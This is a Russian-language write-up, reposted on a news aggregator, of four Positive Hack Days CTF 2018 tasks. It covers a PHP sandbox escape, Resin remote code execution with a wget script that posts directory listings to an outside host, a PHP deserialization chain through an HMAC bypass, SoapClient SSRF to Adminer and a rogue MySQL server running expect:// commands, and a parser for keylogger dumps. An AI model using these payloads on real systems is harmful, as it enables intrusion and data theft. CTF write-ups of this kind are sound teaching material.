Главная » Хабрахабр » Positive Hack Days CTF 2018 райтапы заданий: mnogorock, sincity, wowsuchchain, event0

Positive Hack Days CTF 2018 райтапы заданий: mnogorock, sincity, wowsuchchain, event0

Всем привет. Прошел ежегодный PHD CTF и как всегда задачи были очень крутые и интересные! В этом году решил 4 таска. Может показаться что статья очень длинная — но там просто много скриншотов.

mnogorock

Интересный PHP sandbox, конечное решение которого по моему было проще подобрать на шару, т.к. оно очень простое. Но чтобы к нему прийти, нужно было разобраться что происходит. Я к решению пришел сделав нехилый крюк. Еще я не сразу догадался загуглить mongo rock, хотя перестановка букв была очевидна =)

Изначально нам дан URL, по которому возвращается небольшой хинт, что делать дальше.

Собираем POST запрос

Первое что приходит в голову, это инъекция в команду, пробуем вставлять кавычки, бекслеши, параметры в ф-ю inform, изучаем поведение: Видим результат выполнения команды inform().

Видим некую ошибку… А вот если дописать еще букву,

то в конце вываливается закрытие php тега, тоесть инъекцией мы где-то закрываем строку.

Это говорит о том, что перед нами PHP sandbox, где перед выполнением кода происходит токенезация инпута. Загуглив то что капсом (T_ENCAPSED_AND_WHITESPACE) — понимаем что это лексические токены PHP. А т.к. При этом часть токенов запрещена к использованию. это sandbox, инъекция скорей всего неверный вектор.

Например так: Теперь попробуем написать валидные запросы, которые будут пропускаться.

видим что в этом случае вывод произошел дважды, также видим что токен T_CONSTANT_ENCAPSED_STRING (строка в кавычках) разрешен, это оказалось критически важно.

Поэтому дальше я взял полный список PHP токенов (тут) и погонял их в Intruder, чтобы понять, какие разрешены. Вообще тут можно было бы уже и решить все, если бы я знал что пхп позволяет вытворять ТАКИЕ вещи =) Но я не знал. Само собой для таска его немного изменили, но логику прочесть не помешает (Заодно сравнить реальный код с тем псевдокодом в голове, который я составил, изучая поведение программы блекбоксом)
github.com/iwind/rockmongo/blob/939017a6b4d0b6eb488288d362ed07744e3163d3/app/classes/VarEval.php Затем я решил загуглить «mongo rock» и нашел код песочницы, который использовался для таска.

Смотрим функцию, которая производит токенезацию перед eval’ом кода

private function _runPHP() { $this->_source = "return " . $this->_source . ";"; if (function_exists("token_get_all")) {//tokenizer extension may be disabled $php = "<?php\n" . $this->_source . "\n?>"; $tokens = token_get_all($php);

переменная $php это concat строк, отсюда взялся перенос строки и закрывающий тег в примере выше, когда мы вставили inform()''A. Далее идут 2 проверки, первая проверяет что токен входит список разрешенных:

if (in_array($type, array( T_OPEN_TAG, T_RETURN, T_WHITESPACE,

а вторая — что токены T_STRING имеют допустимые значения:

if ($type == T_STRING) { $func = strtolower($token[1]); if (in_array($func, array( //keywords allowed "mongoid”, ….

T_STRING токены — это ключевые слова языка, в этом списке вероятно была только функция inform(). И дальше если условия прошли, происходит eval() кода. Тоесть вызвать какую либо функцию, передав ее как T_STRING токен не выйдет.

Тут я вспомнил трюки из JS и попробовал сдалать так: Итого мы знаем что разрешено делать вызов функций(но только одной, inform), и строки в кавычках тоже пропускаются.

Осталось только найти флаг, который лежал в файле с рандомным именем в root(/). Вот и решение. Правда не так как дальше… Как я написал в начале, решение очень простое, но не зная тонкостей PHP пришлось повозиться.

sincity

Изначально как обычно дан URL, открываем, видим картинку какого-то города, никаких кнопок нет, поэтому сразу смотрим html код страницы.

Обращаем внимание на какой-то странный массив… Попробуем открыть несуществующую страницу

До этой задачи я даже не знал о существовании такого. И тут видно название очень интересного сервера. Обо всех его фичах я не читал, самое интересное, что надо для таска — resin может интегрировать PHP и Java код (до чего может довести легаси)

Вообщем ничего больше на главной странице не видно, поэтому запускаем dirsearch, либо кто что любит и смотрим что еще валяется на сервере.

Находим и пробуем открыть директорию /dev/, и видим Basic HTTP аутентификацию.

Идея обхода — нужно сделать так, чтобы на nginx директория не попала в регулярку /dev/, которая находиться под basic auth, но при этом чтобы бекенд распарсил URL path как /dev/. Это первая часть таска — обойти Basic HTTP Auth. Я зарядил полный список урл енкодов в Intruder, хотя можно было и сразу догадаться:

Вот так выглядел исходный код страницы в /dev/: Перебрав все 256 байт на месте §param§, находим что при %5с(бекслеш) ответ отличается от исходного, тоесть мы проваливаемся в /dev/.

Это похоже на список файлов текущей директории. Вспоминаем такой же массив на первой странице.

  • task.php~~~edited — это исходник task.php, который типа забыли закрыть в редакторе, и он отдается в браузер плейн текстом.
  • task.php — сценарий который можно выполнять на веб сервере.

Смотрим код task.php:

<?php
error_reporting(0);
if(md5($_COOKIE['developer_testing_mode'])=='0e313373133731337313373133731337')
else{ die('Swimming in the pool after using a bottle of vodka'); }
}
?>

Первое условие — передать такую куку developer_testing_mode, чтобы md5 от нее был равен '0e313373133731337313373133731337'.

Это стандартная PHP ошибка со слабым сравнением. Эту штуку я знал, поэтому прошел быстро. Рекомендую посмотреть тут.

То есть все что нужно для обхода, это найти значение, md5 от которого будет начинаться с байта \x0e. В краце, в PHP сравнение с 2мя знаками равенства(==) считает истинным “0e12345”=“0e54321”. Это можно легко нагуглить.

Второе условие в коде — если будет некий параметр constr длины 4 байта, то выполниться следующее:

$c = new $_GET['constr']($_GET['arg']);

это просто создание объекта класса, если написать попроще то будет примерно так:
$c = new Class(parameter), где мы контролируем название класса и его параметр.

вторая строка

$c->$_GET['param'][0]()->$_GET['param'][1]($_GET['test']);

если переписать попроще, то:
$c->method1()->method2(parameter2) — здесь мы контроллируем названия методов и параметр 2го метода.

Вспоминаем что Resin — интегрирует PHP и Java код(Я вспомнил не сразу, и по началу начал копать в сторону Phar). Очевидно что это RCE и осталось только найти подходящие названия классов.

Решение этого таска фактически лежит в документации Resin:

Payload для RCE выглядит вот так:

Поднимаем в интернете listener для наших запросов, и запускаем на сервере команду, которая отправит нужную информацию на наш listener, с пейлоадом выше будет примерно так: Вывода от команды не будет, поэтому делаем вывод через out-of-band технику.

название файла с флагом мы не знаем, нужно сделать листинг директорий. Т.к. Как полноценный bash работает только в случае массива. Метод класса Runtimeexec() может принимать на вход строку и массив. Поэтому делаем простой баш скрипт: Тогда как мы можем передать только строку.

#!/bin/bash
ls -l > /tmp/adweifmwgfmlkerhbetlbm
ls -l / >> /tmp/adweifmwgfmlkerhbetlbm
wget --post-file=/tmp/adweifmwgfmlkerhbetlbm http://w4x.su:14501/

Принимаем у себя на listener список директорий в руте, и дальше считываем флаг. первым запросом загружаем его на сервер с помощью wget -O /tmp/pwn ...., вторым запросом — запускаем.

wowsuchchain

Самый интересный из четырех. Таск называет так, потомучто в нем очень длинная цепочка багов. Я решал его наверное дня 2 и сдал практически в последний момент на пути домой решая из электрички =)

Полезная статья, которая помогает решить этот таск (про сериализацию и магические методы).

В условии дан URL, открываем, видим некий логгер HTTP запросов:

Немного поиграв с параметрами и ничего из этого не получив, запускаем dirsearch:

Гугл сходу выдает SSRF уязвимость и даже сплойт, хотя последний нам не очень нужен. adminer.php — это опенсорсный инструмент для админки БД.

Открыв страницу c adminer видим сообщение:

Обращаем внимание на шлюз локальной сети, он является небольшим хинтом, какой адрес может быть у хоста с установленным Adminer. где нам говорят, что доступ разрешен только с внутренних ресурсов.

index.php.bak — нам дан исходник для решения.

index.php.bak исходник:

Скрытый текст

<?php
session_start();
class MetaInfo { function get_SC(){ return $_SERVER['SCRIPT_NAME']; } function get_CT(){ date_default_timezone_set('UTC'); return date('Y-m-d H:i:s'); } function get_UA(){ return $_SERVER['HTTP_USER_AGENT']; } function get_IP(){ $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; if(filter_var($client, FILTER_VALIDATE_IP)){ $ip = $client; }elseif(filter_var($forward, FILTER_VALIDATE_IP)){ $ip = $forward; }else{ $ip = $remote; } return $ip; }
}
class Logger { private $userdata; private $serverdata; public $ip; function __construct(){ if (!isset($_COOKIE['userdata'])){ $this->userdata = new MetaInfo(); $ip = $this->userdata->get_IP(); $useragent = htmlspecialchars($this->userdata->get_UA()); $serialized = serialize(array($ip,$useragent)); $key = getenv('KEY'); $nonce = md5(time()); $uniq_sig = hash_hmac('md5', $nonce, $key); $crypto_arrow = $this->ahalai($serialized,$uniq_sig); setcookie("nonce",$nonce); setcookie("hmac",$crypto_arrow); setcookie("userdata",base64_encode($serialized)); header("Location: /"); } if (!file_exists('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt')) { fopen('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt','w'); } } function clear(){ if(file_put_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt',"\n")) return "Log file cleaned!"; } function show(){ $data = file_get_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt'); return $data; } function ahalai($serialized,$uniq_sig){ $magic = $this->mahalai($serialized,$uniq_sig); return $magic; } function mahalai($serialized, $uniq_sig){ return hash_hmac('md5', $serialized,$uniq_sig); } function __destruct(){ if(isset($_COOKIE['userdata'])){ $serialized = base64_decode($_COOKIE['userdata']); $key = getenv('KEY'); $nonce = $_COOKIE['nonce']; $uniq_sig = hash_hmac('md5', $nonce, $key); $crypto_arrow = $this->ahalai($serialized,$uniq_sig); if($crypto_arrow!==$_COOKIE["hmac"]){ exit; } $this->userdata = unserialize($serialized); $ip = $this->userdata[0]; $useragent = $this->userdata[1]; if(!isset($this->serverdata)) $this->serverdata = new MetaInfo(); $current_time = $this->serverdata->get_CT(); $script = $this->serverdata->get_SC(); return file_put_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt', $current_time." - ".$ip." - ".$script." - ".htmlspecialchars($useragent)."\n", FILE_APPEND); } } }
$a = new Logger(); ?> <center>
<pre>
<a href="/">index</a> | <a href="/?act=show">show log</a> | <a href="/?act=clear">clear log</a>
----------------------------------------------------------------------------- <? switch ($_GET['act']) { case 'clear': echo $a->clear(); break; case 'show': echo $a->show(); break; default: echo "This is index page."; break;
}
?>
</pre></center>

Изучаем код. Скрипт создает класс Logger, и затем отдает результаты методов show и clear в зависимости от запроса. Сразу бросаются в глаза места с сериализацией и подписями. Все самое интересное находиться в конструкторе и деструкторе.

Секретный ключ при этом храниться в переменной окружения. В __construct() проиcходит генерация некоторых данных пользователя, и подпись с помощью алгоритма HMAC. Это эмуляция подхода хранения данных сессии на стороне пользователя. После подписи, данные и сама подпись отдаются пользователю. При использовании HMAC, изменить данные и при этом обойти подпись уже не получиться. Например так делает Apache Tapestry и кажется я встречал такой подход еще где-то в ASP фреймворках. Все выглядит безопасно, поэтому переходим к __destructor()

я не сразу увидел баг в проверке подписи в __destruct(), начал решать таск с «середины», запустив скрипт локально и закоментив часть кода с проверкой подписи. Т.к. Но тут все будет по порядку=) И к обходу подписи вернулся в конце.

$serialized = base64_decode($_COOKIE['userdata']);
$key = getenv('KEY');
$nonce = $_COOKIE['nonce']; $uniq_sig = hash_hmac('md5', $nonce, $key);
$crypto_arrow = $this->ahalai($serialized,$uniq_sig);

Первое на что нужно обратить внимание — мы контролируем переменную nonce, которая без какой либо фильтрации отдается в функцию hash_mac(PHP built-in функция). После чего uniq_sig передается в метод ahalai, который внутри эквивалентен тому же hash_hmac. Из-за отсутсвия фильтрации переменной nonce возникает ошибка, когда наш сериализованный payload может быть подписан не секретным ключом сервера, а пустой строкой. Чтобы понять что происходит я набросал короткий PoC:

<?php $nonce = array('1','2','3','100500'); $uniq_sig1 = hash_hmac('md5', $nonce, "SUPASECRET"); $crypto_arrow1 = hash_hmac('md5',"ANYDATA",$uniq_sig1); echo "Singature with supasecret: $crypto_arrow1\n"; $uniq_sig2 = hash_hmac('md5', $nonce, "ANOTHER_SUPA_SECRET"); $crypto_arrow2 = hash_hmac('md5',"ANYDATA",$uniq_sig2); echo "Singature with anothersupasecret: $crypto_arrow2\n"; $crypto_arrow3 = hash_hmac('md5',"ANYDATA",""); echo "Signature with empty string as KEY: $crypto_arrow3\n";
?>

HMAC во всех 3х вариантах будет одинаковый. То есть в случае подписи любого массива любым ключом результат будет пустая строка. А т.к. конечная подпись считается принимая на вход предыдущую подпись, мы получаем hash_hmac(«ANYDATA»,""). А значит мы можем его вычислить перед отправкой запроса.

Итого: чтобы обойти подпись, нужно передать nonce как массив, а передаваемые данные в userdata предварительно подписать пустой строкой, и подпись передать в куке hmac.

Мы знаем, что adminer имеет SSRF уязвимость, а значит в сочетании с rogue_mysql_server можем получить локальное чтение файлов. Следующий шаг — нужно понять, как раскрутить десериализацию, чтобы получить что-то полезное. Значит итоговый вектор должен выглядеть примерно так: SSRF в index.php -> SSRF в adminer.php -> rogue_mysql_server->локальное чтение файлов (плюс были хинты от организаторов про expect и что на сервере есть только nginx+php. Но Adminer доступен только внутренним ресурсам. А название файла с флагом без RCE не найти). Последний — чтобы понять, что нужно эксплуатировать через rogue_mysq_server, expect — видимо очень редкий wrapper что его наличие не всегда проверяют.

Обращаем внимание на следующий участок кода: Раскручиваем SSRF на index.php.

$this->userdata = unserialize($serialized);
$ip = $this->userdata[0];
$useragent = $this->userdata[1]; if(!isset($this->serverdata)) $this->serverdata = new MetaInfo();
$current_time = $this->serverdata->get_CT();
$script = $this->serverdata->get_SC();

Тут есть сразу несколько трюков. Трюк первый — в случае если десериализуется объект, будет вызван __destruct() этого объекта (читать статью на Rdot.org). Трюк второй — мы делаем десериализацию уже находясь в деструкторе. Что же будет, если мы попробуем десериализовать объект этого же класса Logger? Тоесть при десериилизации снова вызовется деструктор этого же класса! Вообще я думал что произойдет бесконечный цикл и будет DOS. Но оказалось PHP эту ситуацию обрабатывает корректно. И трюк третий, если мы в процессе десериализации подсунем в приватную переменную serverdata объект, то дальше по коду вызовется метод serverdata->get_CT(). Тут приходит на помощь магический метод __call(), который вызовется в случае обращения к несуществующему методу класса.

SoapClient создаем так, чтобы он сделал запрос на adminer.php с нужными параметрами. По ключевым словам «php class __call ssrf» быстро гуглиться райтап с другого CTF, где можно найти подходящий PHP класс SoapClient и что __call() триггерит soap запрос. Можно было этого и не делать. Я зачем-то установил adminer себе, и начал изучать, что там есть. Финальный код для генерации пейлоадов у меня вышел вот такой:

<?php class Logger { private $userdata; private $serverdata; public $ip; function __construct($iter) { $this->serverdata = new SoapClient(null, array( 'location' => "http://172.17.0.$iter/adminer.php?server=188.226.212.13:3306&username=mfocuz1&password=1337pass&status=", 'uri' => "http://172.17.0.$iter", 'trace' => 1, )); } } for($i=0;$i<=255;$i++) { $payload=serialize(array("127.0.0.1",new Logger($i))); file_put_contents("/tmp/payloads",base64_encode($payload)."\n",FILE_APPEND); file_put_contents("/tmp/signatures",hash_hmac('md5', $payload,"")."\n",FILE_APPEND); } ?>

В краце — мы создаем такой же класс Logger с такими же данными как у исходного в index.php. Но в конструкторе мы присваиваем внутренней приватной переменной serverdata — объект класса SoapClient. Объект SoapClient уже указывает на внутренний ресурс adminer с параметрами для коннекта к нашему серверу с rogue_mysql_server. Цикл по переменной $iter нужен для того, чтобы найти локальный IP сервера adminer. Запрос через localhost блокировался. Вообще у него был IP=172.17.0.3, но я попробовал один и дальше запустил Intruder=) Режим Pitchfork, первый параметр — файл с сигнатурами, 2й — с пейлоадами.

Запускаем с такой конфигурацией: Для приема коннекта у себя на сервере где-то в интернетах запускаем mysq_rogue_server, я взял отсюда.

filelist = ( #'/flag_s0m3_r4nd0m_f1l3n4m3.txt', // это путь к флагу, первый раз мы его не знаем 'expect://ls > /tmp/mfocuz_tmp01', '/tmp/mfocuz_tmp01',
)

Мы не можем отдать rogue серверу вывод от expect, поэтому перенаправляем вывод в файл, и второй командой считываем этот файл.

Запускаем Intruder, смотрим какой IP сработает:

В логе rogue сервера находим вот такое:

2018-05-01 14:01:28,499:INFO:Result: '\x02bin\nboot\ncode\ndev\netc\nflag_s0m3_r4nd0m_f1l3n4m3.txt\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n'

Итоговый запрос из Repeater: Осталось послать еще один запрос, но в Rogue сервере вписать путь к флагу.

event0

Это наверное самая простая задача из всех, что были предложены на CTF. Самое сложное было понять, что это за файл. Сложное — потому что почти все ссылки в гугл указывали на компьютерную игру event[0]. Я заодно почитал что за игра и даже решил пройти. Вообщем из всего этого шума про event[0] нужно было найти информацию о линукс устройствах. В частности про linux USB клавиатуру. То есть event0 файл — результат работы кейлоггера. А дальше все очень просто гуглилось и можно было найти почти готовое решение для таска тут. И заодно открыть документацию по Python библиотеке evdev. Я взял скрипт по ссылке выше и заменил чтение с девайса на чтение из файла. Мой финальный скрипт выглядел вот так:

Скрытый текст

#!/usr/bin/python import pdb import struct import sys
import evdev
from evdev import InputDevice, list_devices, ecodes, categorize, InputEvent CODE_MAP_CHAR = { 'KEY_MINUS': "-", 'KEY_SPACE': " ", 'KEY_U': "U", 'KEY_W': "W", 'KEY_BACKSLASH': "\\", 'KEY_GRAVE': "`", 'KEY_NUMERIC_STAR': "*", 'KEY_NUMERIC_3': "3", 'KEY_NUMERIC_2': "2", 'KEY_NUMERIC_5': "5", 'KEY_NUMERIC_4': "4", 'KEY_NUMERIC_7': "7", 'KEY_NUMERIC_6': "6", 'KEY_NUMERIC_9': "9", 'KEY_NUMERIC_8': "8", 'KEY_NUMERIC_1': "1", 'KEY_NUMERIC_0': "0", 'KEY_E': "E", 'KEY_D': "D", 'KEY_G': "G", 'KEY_F': "F", 'KEY_A': "A", 'KEY_C': "C", 'KEY_B': "B", 'KEY_M': "M", 'KEY_L': "L", 'KEY_O': "O", 'KEY_N': "N", 'KEY_I': "I", 'KEY_H': "H", 'KEY_K': "K", 'KEY_J': "J", 'KEY_Q': "Q", 'KEY_P': "P", 'KEY_S': "S", 'KEY_X': "X", 'KEY_Z': "Z", 'KEY_KP4': "4", 'KEY_KP5': "5", 'KEY_KP6': "6", 'KEY_KP7': "7", 'KEY_KP0': "0", 'KEY_KP1': "1", 'KEY_KP2': "2", 'KEY_KP3': "3", 'KEY_KP8': "8", 'KEY_KP9': "9", 'KEY_5': "5", 'KEY_4': "4", 'KEY_7': "7", 'KEY_6': "6", 'KEY_1': "1", 'KEY_0': "0", 'KEY_3': "3", 'KEY_2': "2", 'KEY_9': "9", 'KEY_8': "8", 'KEY_LEFTBRACE': "[", 'KEY_RIGHTBRACE': "]", 'KEY_COMMA': ",", 'KEY_EQUAL': "=", 'KEY_SEMICOLON': ";", 'KEY_APOSTROPHE': "'", 'KEY_T': "T", 'KEY_V': "V", 'KEY_R': "R", 'KEY_Y': "Y", 'KEY_TAB': "\t", 'KEY_DOT': ".", 'KEY_SLASH': "/", } def parse_key_to_char(val): return CODE_MAP_CHAR[val] if val in CODE_MAP_CHAR else "" if __name__ == "__main__": # pdb.set_trace() f=open('/home/w4x/ctf/phd2018/event0',"rb") events=[] e=f.read(24) events.append(e) while e != "": e=f.read(24) events.append(e) for e in events: eBytes = a=struct.unpack("HHHHHHHHHHi",e) event = InputEvent(eBytes[6],eBytes[7],eBytes[8],eBytes[9],eBytes[10]) if event.type == ecodes.EV_KEY: print evdev.categorize(event)

Первые строчки вывода скрипта:

000000, 28 (KEY_ENTER), up
key event at 0. key event at 0. 000000, 47 (KEY_V), up
key event at 0. 000000, 47 (KEY_V), down
key event at 0. 000000, 23 (KEY_I), up
key event at 0. 000000, 23 (KEY_I), down
key event at 0. 000000, 50 (KEY_M), up
key event at 0. 000000, 50 (KEY_M), down
key event at 0. 000000, 57 (KEY_SPACE), up
key event at 0. 000000, 57 (KEY_SPACE), down
key event at 0. 000000, 37 (KEY_K), up
key event at 0. 000000, 37 (KEY_K), down
key event at 0. 000000, 18 (KEY_E), up
key event at 0. 000000, 18 (KEY_E), down
key event at 0. 000000, 21 (KEY_Y), up
key event at 0. 000000, 21 (KEY_Y), down
key event at 0. 000000, 52 (KEY_DOT), up
key event at 0. 000000, 52 (KEY_DOT), down
key event at 0. 000000, 20 (KEY_T), up
key event at 0. 000000, 20 (KEY_T), down
key event at 0. 000000, 45 (KEY_X), up
key event at 0. 000000, 45 (KEY_X), down
key event at 0. 000000, 20 (KEY_T), up

down-up это нажатия клавиш «вниз-вверх». 000000, 20 (KEY_T), down
key event at 0. Vim — это популярный текстовый редактор, который имеет два режима работы, редактирование текста и командный режим. Сразу видим, что запускается команда vim key.txt. Для решения нужно было просто прокликать все те же самые клавиши и получить на выходе флаг. Поэтому не все буквы в логе были реальным текстом.


Оставить комментарий

Ваш email нигде не будет показан
Обязательные для заполнения поля помечены *

*

x

Ещё Hi-Tech Интересное!

Переезд в австрийский социализм

Пора восполнить пробел. На Хабре часто пишут про эммиграцию в разные страны, а про Австрию ещё не было. Хальштатт Старался кратко, заранее извиняюсь, что не получилось 🙂 Я попробую описать мой опыт переезда в Австрию (в Вену), а также немного ...

App Store не позвонит. Или как я сделала своё приложение, но оно не попадёт к пользователям

Чуть позже я узнала, что неплохо дополнять код дизайном. Когда-то я думала, что для того, чтобы запустить своё приложение достаточно написать код. Но всё это может быть лишним, если не следовать гайдлайнам. Ещё позже я поняла, что необходимо искать аудиторию ...